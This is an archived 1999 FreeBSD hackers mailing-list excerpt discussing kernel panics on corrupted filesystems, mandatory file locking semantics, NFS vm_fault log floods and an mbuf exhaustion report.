+0200 (MET DST) Received: by kurt.tools.de (SMI-8.6/SMI-SVR4) id PAA22612; Tue, 24 Aug 1999 15:15:09 +0200 Date: Tue, 24 Aug 1999 15:15:09 +0200 From: ws@tools.de (Wolfgang Solfrank) Message-Id: <199908241315.PAA22612@kurt.tools.de> To: bouyer@antioche.lip6.fr Subject: Re: Need some advice regarding portable user IDs Cc: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org X-Sun-Charset: US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, > > What I meant to say was that code of the various filesystems currently > > assumes that the data on the media is somewhat consistent. Since the > > intention is that Joe User can mount some arbitrary floppy (or zip disk, > > or ...), the in kernel filesystem code needs to check any data it > > reads off the media for plausibility. [...] > Solving this is not trivial, I don't think changing the panic() to > return(appropriate_error_code) is the rigth thing to do, in some case > you want to panic if a filesystem gets corrupted. This could probably > be switched on/off for root/non-root mounts. > Also I think there are some cases where it's too late to recover gracefully. Hmm, I think the appropriate thing to do is some equivalent of "panic"ing, but only for the filesystem in question. I.e. something like forcibly unmounting that filesystem (but maybe continue to return EIO on access to anything below the mountpoint?). Whether to flush dirty buffers for the filesystem in question out or not, I'm not sure about either. Ciao, Wolfgang -- ws@TooLs.DE (Wolfgang Solfrank, TooLs GmbH) +49-228-985800 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 6:30:18 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from antioche.lip6.fr (antioche.lip6.fr [132.227.74.11]) by hub.freebsd.org (Postfix) with ESMTP id 9589F14CA5 for ; Tue, 24 Aug 1999 06:30:15 -0700 (PDT) (envelope-from bouyer@antioche.lip6.fr) Received: from antifer.ipv6.lip6.fr (antifer.ipv6.lip6.fr [132.227.72.132]) by antioche.lip6.fr (8.9.3/8.9.3) with ESMTP id PAA13170; Tue, 24 Aug 1999 15:27:17 +0200 (MEST) Received: (bouyer@localhost) by antifer.ipv6.lip6.fr (8.8.8/8.6.4) id PAA04196; Tue, 24 Aug 1999 15:27:16 +0200 (MEST) Date: Tue, 24 Aug 1999 15:27:16 +0200 From: Manuel Bouyer To: Wolfgang Solfrank Cc: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs Message-ID: <19990824152716.B4170@antioche.lip6.fr> References: <199908241315.PAA22612@kurt.tools.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6us In-Reply-To: <199908241315.PAA22612@kurt.tools.de>; from Wolfgang Solfrank on Tue, Aug 24, 1999 at 03:15:09PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 03:15:09PM +0200, Wolfgang Solfrank wrote: > Hmm, I think the appropriate thing to do is some equivalent of "panic"ing, > but only for the filesystem in question. I.e. something like forcibly > unmounting that filesystem (but maybe continue to return EIO on access to > anything below the mountpoint?). Whether to flush dirty buffers for the > filesystem in question out or not, I'm not sure about either. I'm not sure. I think if this happens on a non-removable hard drive, a panic is the rigth thing to do. You'll get a core dump, and it's not necesserely a good thing to let a server operate without all it's filesystems. On my shell server, if /var gets corrupted, I'm sure I prefer to get a panic instead of letting it run without accounting. -- Manuel Bouyer, LIP6, Universite Paris VI. Manuel.Bouyer@lip6.fr -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 6:31: 5 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from orchard.arlington.ma.us (orchard.epilogue.com [128.224.138.4]) by hub.freebsd.org (Postfix) with ESMTP id 4F5021513D for ; Tue, 24 Aug 1999 06:31:00 -0700 (PDT) (envelope-from sommerfeld@orchard.arlington.ma.us) Received: from orchard.arlington.ma.us (localhost [[UNIX: localhost]]) by orchard.arlington.ma.us (8.8.8/1.34) with ESMTP id NAA13977; Tue, 24 Aug 1999 13:28:45 GMT Message-Id: <199908241328.NAA13977@orchard.arlington.ma.us> To: ws@tools.de (Wolfgang Solfrank) Cc: bouyer@antioche.lip6.fr, freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs In-Reply-To: Message from ws@tools.de (Wolfgang Solfrank) of "Tue, 24 Aug 1999 15:15:09 +0200." <199908241315.PAA22612@kurt.tools.de> Date: Tue, 24 Aug 1999 09:28:44 -0400 From: Bill Sommerfeld Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just FYI, in NetBSD-current, there are on the order of 60 calls to panic() in sys/ufs/ufs, and 50 calls to panic() in sys/ufs/ffs. There appear to be similar numbers in ext2fs and lfs. No doubt some of them are internal consistancy checks which can't be triggered by on-disk corruption, but still, this sounds like a substantial project.. - Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 6:44:51 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from orchard.arlington.ma.us (orchard.epilogue.com [128.224.138.4]) by hub.freebsd.org (Postfix) with ESMTP id 18BD415162 for ; Tue, 24 Aug 1999 06:44:47 -0700 (PDT) (envelope-from sommerfeld@orchard.arlington.ma.us) Received: from orchard.arlington.ma.us (localhost [[UNIX: localhost]]) by orchard.arlington.ma.us (8.8.8/1.34) with ESMTP id NAA14008; Tue, 24 Aug 1999 13:42:27 GMT Message-Id: <199908241342.NAA14008@orchard.arlington.ma.us> To: Manuel Bouyer Cc: Wolfgang Solfrank , freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs In-Reply-To: Message from Manuel Bouyer of "Tue, 24 Aug 1999 15:06:52 +0200." <19990824150652.A4107@antioche.lip6.fr> Date: Tue, 24 Aug 1999 09:42:27 -0400 From: Bill Sommerfeld Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Solving this is not trivial, I don't think changing the panic() to > return(appropriate_error_code) is the rigth thing to do, in some case > you want to panic if a filesystem gets corrupted. Indeed, from an overall system robustness perspective, a panic, reboot, and salvage is, in general, preferable to a forced-unmount of / or /usr leading to the system becoming useless.. This isn't necessarily going to be the case for other filesystems, but still, it would require manual intervention to recover from. This problem has been dealt with in various ways in other systems in the past. My understanding is that under some circumstances, Multics would automatically invoke an on-line incremental salvager when corruption was detected; however, this can also be dangerous -- several multics security holes (which were all eventually closed) involved tricking the directory salvager in various ways... one of these involved a quoting error in the script which invoked the salvager so that you could embed a ";" followed by a command in the name of the directory to be salvaged... - Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 6:58:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from Twig.Rodents.Montreal.QC.CA (Twig.Rodents.Montreal.QC.CA [132.206.78.3]) by hub.freebsd.org (Postfix) with ESMTP id E669F14D18 for ; Tue, 24 Aug 1999 06:58:06 -0700 (PDT) (envelope-from mouse@Twig.Rodents.Montreal.QC.CA) Received: (from mouse@localhost) by Twig.Rodents.Montreal.QC.CA (8.8.8/8.8.8) id JAA00845; Tue, 24 Aug 1999 09:56:12 -0400 (EDT) Date: Tue, 24 Aug 1999 09:56:12 -0400 (EDT) From: der Mouse Message-Id: <199908241356.JAA00845@Twig.Rodents.Montreal.QC.CA> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit To: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> Solving this is not trivial, I don't think changing the panic() to >> return(appropriate_error_code) is the rigth thing to do, in some >> case you want to panic if a filesystem gets corrupted. > [...consider / or /usr...] I think an error return is preferable to a panic, during the mount operation. During normal operation, it seems to me that the right thing is to panic if the mount was done by root and to do the forcible-unmount thing if non-root. (This arguably should be a mount option which is forced on for non-root mounts, so that root mounts can get the force-unmount semantics if desired.) der Mouse mouse@rodents.montreal.qc.ca 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:19:51 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dingo.cdrom.com (oreilly131.oreilly.mbaynet.com [206.55.242.131]) by hub.freebsd.org (Postfix) with ESMTP id 70CB11504E for ; Tue, 24 Aug 1999 09:19:21 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id JAA00596 for ; Tue, 24 Aug 1999 09:12:34 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199908241612.JAA00596@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: hackers@freebsd.org Subject: Hub was down this morning Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 24 Aug 1999 09:12:33 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From some time after 4am PST until about 9:15am PST when I brought it back up. No details available at this time. Service should be back to normal. -- \\ The mind's the standard \\ Mike Smith \\ of the man. \\ msmith@freebsd.org \\ -- Joseph Merrick \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:24:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id C56B915AD7 for ; Tue, 24 Aug 1999 09:22:21 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from gosset.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 24 Aug 1999 17:22:19 +0100 (BST) To: freebsd-hackers@freebsd.org Subject: vm_fault: pager read error on NFS filesystems. X-Request-Do: Date: Tue, 24 Aug 1999 17:22:17 +0100 From: David Malone Message-ID: <199908241722.aa13014@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I tried mailing this to freebsd-stable but got no response. There is a problem when you remove a running executable on an NFS filesystem. Basically you end up with lots of "vm_fault: pager read error" messages - and I mean lots - I've seen 184888 messages in a little under and hour, and the performance of the machine suffers severely. I've figured out when that this happens when the running process catches SIGBUS. The process tries to fault a page in, finds the executable is gone, gets a SIGBUS, tries to fault the SIGBUS handler in, gets a SIGBUS, tries to fault the SIGBUS handler in.... This wouldn't really be such a serious problem if vm_fault didn't log a message for every failed fault. I can see two possible fixes for this problem: 1) Stop vm_fault logging so much stuff. 2) Change sendsig to check if catching SIGBUS of SIGSEGV will cause a SIGBUS or SIGSEGV. If it will send the process a SIGKILL. If someone can say which fix seems better then I can probably produce the diffs. This seems to be a particular problem for us 'cos we have people developing MPI programs. Since they are parallel programs they end up being run over NFS, and they catch most signals so if there is a problem they can shut down the entire cluster of programs. I don't thing there is much you can do about programs looping in signal receiving loop in general (you could have the SIGBUS handler execute an illegal instruction and have the SIGILL handler point to an address which causes a SIGBUS), but because of the verboseness of vm_fault something needs to be done about the SIGBUS causes SIGBUS case. There also seem to be other problems associated with changing the executable over NFS, including panics and init stopping reaping zombies, which I haven't had a chance to look at yet. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:29:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id BB95D151F6 for ; Tue, 24 Aug 1999 09:27:18 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JHrb-00072o-00; Tue, 24 Aug 1999 08:47:52 -0600 Message-ID: <37C2B096.9BE3A40A@softweyr.com> Date: Tue, 24 Aug 1999 08:47:50 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: "Mark J. Taylor" Cc: wayne@crb-web.com, hackers@FreeBSD.ORG Subject: Re: several messages References: <37C228B2.ECF2878E@cybernet.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Mark J. Taylor" wrote: > > You may want to set the transmit and recieve low-water marks as well. > Look at the man page for "setsockopt". Amd tcp(4). -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:29:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id E1C6C1587E; Tue, 24 Aug 1999 09:27:18 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JHfb-0005AK-00; Tue, 24 Aug 1999 08:35:28 -0600 Message-ID: <37C2ADAD.B1F19098@softweyr.com> Date: Tue, 24 Aug 1999 08:35:25 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Christopher Masto Cc: Greg Lehey , Chuck Robey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823223645.A14001@netmonger.net> <19990823231130.A16133@netmonger.net> <19990824125210.A83273@freebie.lemis.com> <19990823233434.C16133@netmonger.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christopher Masto wrote: > > How about a little timing difference? > > User 1 User 2 > > open file > read file > open file > lock file (blocks?) > close file > lock returns open file (blocks) > diddle file > unlock file > scribble over User 1's changes > > What I'm getting at is that if User 2 has to do something special > anyway, it might as well be using advisory locking. You've got this so wrong, perhaps you should just go find a System V man page and read about mandatory locking before embarassing yourself any- more. Locking will only block if another process is holding an overlapping lock. opening won't block due to mandatory locking. The only operations that can block are read and write, and then only if the read or write operation will overlap a locked range of bytes. Your example above is a perfect example of a poorly written program doing something stupid. If you allow poorly written programs to do stupid things on top of YOUR critical data files, that is your problem. Not having mandatory locking is OUR problem. If you don't want it, just leave "option LOCKING" out of your kernel. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:29:50 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id 6CEA114C22 for ; Tue, 24 Aug 1999 09:26:56 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id LAA36755; Tue, 24 Aug 1999 11:54:26 -0400 (EDT) Date: Tue, 24 Aug 1999 11:54:26 -0400 (EDT) From: Ben Rosengart To: Sheldon Hearn Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: ls(1) options affecting -l long format In-Reply-To: <68717.935487874@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Sheldon Hearn wrote: > We also have a precedent for options which affect but do not imply a > long listing (-o). I believe we should stick with that precedent and > leave -n as it is. Why not change -o's behavior too? I find the current behavior unintuitive and kind of annoying. If I specify -o, I want to see the file flags; "ls -o" producing the same output as "ls" is just ... weird. As you can see, my argument is as rational and well-supported as yours is. ;-) -- Ben UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:30:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id E542615880; Tue, 24 Aug 1999 09:27:18 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JHZ5-00043m-00; Tue, 24 Aug 1999 08:28:43 -0600 Message-ID: <37C2AC18.28A9DE08@softweyr.com> Date: Tue, 24 Aug 1999 08:28:40 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Christopher Masto Cc: Garance A Drosihn , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> <19990823174345.J83273@freebie.lemis.com> <37C174F5.2D8AEEB1@newsguy.com> <19990823223645.A14001@netmonger.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christopher Masto wrote: > > > The thing about well-intentioned but incorrect locking code is that > > it will appear to work fine, until it trips over the one code path > > where it forgets to lock some file that it should have locked. And > > even then, the code will "work" just fine, until multiple processes > > are accessing that file at the same time. > > > > I think it is appropriate for an operating system to provide an option > > such that *it* (the system) will enforce the locking, and not have to > > trust that all code-paths in all programs will do the right thing > > WRT advisory locking. > > Dunno about that.. if you're using advisory locking, you know to say > "lock the file, then read the data, do your calculation, write it out, > and unlock". This manditory locking sounds like an invitation for > disaster. "I don't need to pay attention to the details because > the kernel will take care of it for me." Wrong paradigm. Look at it from the lockers standpoint: "Even if other processes don't do locking, they won't be able to screw me because I've locked the critical part of the file." > Actually, I don't really understand the paradigm. Two processes need > to safely update a file, so one of them aquires a mandatory lock, and > the other.. uh.. just blocks trying to open the file? No, the locks are not per-file. You can lock multiple arbitrary byte ranges. Any file trying to write (shared lock) and/or read (exclusive lock) will be blocked until the lock is released. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:30:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id 3E77B158C3; Tue, 24 Aug 1999 09:27:18 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JHWT-0003SR-00; Tue, 24 Aug 1999 08:26:01 -0600 Message-ID: <37C2AB77.52678981@softweyr.com> Date: Tue, 24 Aug 1999 08:25:59 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Tim Vanderhoek Cc: Mark Murray , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <199908232012.WAA78393@gratis.grondar.za> <19990823213857.B99022@ppp18344.on.bellglobal.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tim Vanderhoek wrote: > > On Mon, Aug 23, 1999 at 10:12:38PM +0200, Mark Murray wrote: > > > > In process-space, this is the kernel. In file-space, this should > > be root. Processes that require mandatory locking must revoke > > superuser before attempting locks. > > I don't like restricting the breaking of mandatory locks to the > superuser. It could be restricted to specific users (say file owner + > root)... How 'bout "anyone who can kill the process holding the lock?" -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:30:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from nets5.rz.rwth-aachen.de (nets5.rz.RWTH-Aachen.DE [137.226.144.13]) by hub.freebsd.org (Postfix) with ESMTP id 709A515965 for ; Tue, 24 Aug 1999 09:28:00 -0700 (PDT) (envelope-from kuku@gilberto.physik.RWTH-Aachen.DE) Received: from campino.informatik.rwth-aachen.de (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by nets5.rz.rwth-aachen.de (8.9.1a/8.9.1/6) with ESMTP id RAA28874 for ; Tue, 24 Aug 1999 17:54:07 +0200 (MET DST) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by campino.informatik.rwth-aachen.de (8.9.1a/8.9.1/3) with ESMTP id RAA18099 for ; Tue, 24 Aug 1999 17:54:16 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.9.2/8.6.9) id RAA52254 for hackers@freebsd.org; Tue, 24 Aug 1999 17:54:18 +0200 (CEST) Date: Tue, 24 Aug 1999 17:54:18 +0200 (CEST) From: Christoph Kukulies Message-Id: <199908241554.RAA52254@gil.physik.rwth-aachen.de> To: hackers@freebsd.org Subject: mbufs eaten up - when pinging Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG With a non-functioning route over isdn (i4b) I'm observing that mbufs allocated soon reach the limit and then I'm getting 'no buffer space' available. I'm not sure whether the networking stack is still usable for other purposes but I prefer to reboot. I just want to bring up this issue because it looks to me like some resource leak which need not have to be. -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 9:32:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id A8E79160A7; Tue, 24 Aug 1999 09:30:29 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id LAA14332; Tue, 24 Aug 1999 11:17:03 -0400 (EDT) Message-ID: <19990824111703.B10650@netmonger.net> Date: Tue, 24 Aug 1999 11:17:03 -0400 From: Christopher Masto To: Wes Peters Cc: Greg Lehey , Chuck Robey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823223645.A14001@netmonger.net> <19990823231130.A16133@netmonger.net> <19990824125210.A83273@freebie.lemis.com> <19990823233434.C16133@netmonger.net> <37C2ADAD.B1F19098@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: <37C2ADAD.B1F19098@softweyr.com>; from Wes Peters on Tue, Aug 24, 1999 at 08:35:25AM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 08:35:25AM -0600, Wes Peters wrote: > You've got this so wrong, perhaps you should just go find a System V man > page and read about mandatory locking before embarassing yourself any- > more. First of all, when was it decided that we were all talking about System V? I think that's part of the problem here; some people are arguing whether locking should exist while others are arguing what the semantics should be. I have seen (at least) four ideas mentioned: SysV Root doesn't obey locking Root can override locking Only root can lock So don't insult me for giving a "what if?" example. If it's not a problem under certain semantics, that's good. Let's see if that's the case. > Locking will only block if another process is holding an overlapping lock. > opening won't block due to mandatory locking. The only operations that > can block are read and write, and then only if the read or write operation > will overlap a locked range of bytes. Ok, so that means the program doesn't have to be so poorly written. It can read part of the file, then go to write it just after User 1 locks that part of the file, so its write will block until User 1 is finished, but will still stomp over User 1's data. No need to close and reopen the file. Yes, it's WRONG code. Correct code would aquire a lock before reading. So how does mandatory locking help? In this situation, I don't think it does. And this situation is analogous to "I want to modify this file without taking it offline, but I need to guarantee that no other processes are using it." How do you know someone hasn't, say, opened it in an editor, made some changes, and is about to save? Especially when that modification occurs spontaneously, perhaps as part of some recovery process unknown to the user editing the file. I'm sure there are situations where mandatory locking accomplishes something useful. Are they worth it? (I don't claim to know; if the problems I thought I pointed out don't really exist, good.) More seriously than just being a "useless" feature, I am concerned about the possibility of opening up security holes with mandatory locking. BSD Unix does not currently have it.. if I understand correctly, the kind of locking we're talking about means that if I can get another user to read a file I own, I can make them block indefinately. Maybe I can't do anything bad with that.. maybe I can "only" cause a denial of service.. or maybe I can make a new race condition in a periodic script. By the way, I like the idea of mandatory locking, and I "grew up" on an OS that had it. -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10: 5:30 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 5C6D115BAB for ; Tue, 24 Aug 1999 09:58:17 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id JAA17289; Tue, 24 Aug 1999 09:58:08 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 09:58:08 -0700 (PDT) From: Matthew Dillon Message-Id: <199908241658.JAA17289@apollo.backplane.com> To: David Malone Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: vm_fault: pager read error on NFS filesystems. References: <199908241722.aa13014@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I tried mailing this to freebsd-stable but got no response. : :There is a problem when you remove a running executable on an NFS :filesystem. Basically you end up with lots of "vm_fault: pager read :error" messages - and I mean lots - I've seen 184888 messages in :a little under and hour, and the performance of the machine suffers :severely. : :I've figured out when that this happens when the running process :catches SIGBUS. The process tries to fault a page in, finds the :executable is gone, gets a SIGBUS, tries to fault the SIGBUS handler :in, gets a SIGBUS, tries to fault the SIGBUS handler in.... : :This wouldn't really be such a serious problem if vm_fault didn't :log a message for every failed fault. I can see two possible fixes :for this problem: : : 1) Stop vm_fault logging so much stuff. : 2) Change sendsig to check if catching SIGBUS of SIGSEGV : will cause a SIGBUS or SIGSEGV. If it will send the process : a SIGKILL. : :If someone can say which fix seems better then I can probably :produce the diffs. : :This seems to be a particular problem for us 'cos we have people :... Well, we can't do #2 - that would make us incompatible with the API. We can do #1, but not for a week or so as there are some other patches to vm_fault still in the queue. It would be fairly easy to add a sysctl to control VM related logging. The sysctl would default to 1. :There also seem to be other problems associated with changing the :executable over NFS, including panics and init stopping reaping :zombies, which I haven't had a chance to look at yet. : : David. panics on the client or server? If you run a kernel with DDB enabled and get a panic, you can use the 'trace' command from the console to print out the stack backtrace. This only works if you aren't running an X display on that machine, though. init should definitely not stop reaping zombies. If the init binary itself runs over NFS and you have updated it, you have no choice but to reboot. If the init binary was not updated and the init process is messing up, a 'ps axl' should tell you where the init process is stuck. If the machine is still copesetic, you can gdb -k the running kernel and get a stack backtrace of the init process to see where it is stuck. gdb -k /kernel /dev/mem proc 1 back -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10: 5:33 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id B5CF71598D for ; Tue, 24 Aug 1999 09:59:34 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id XAA20428; Tue, 24 Aug 1999 23:48:56 +0900 (JST) Message-ID: <37C2B0A1.4E823BF9@newsguy.com> Date: Tue, 24 Aug 1999 23:48:01 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Chuck Robey Cc: FreeBSD Hackers Subject: Re: Mandatory locking? References: Content-Type: text/plain; charset=us-ascii 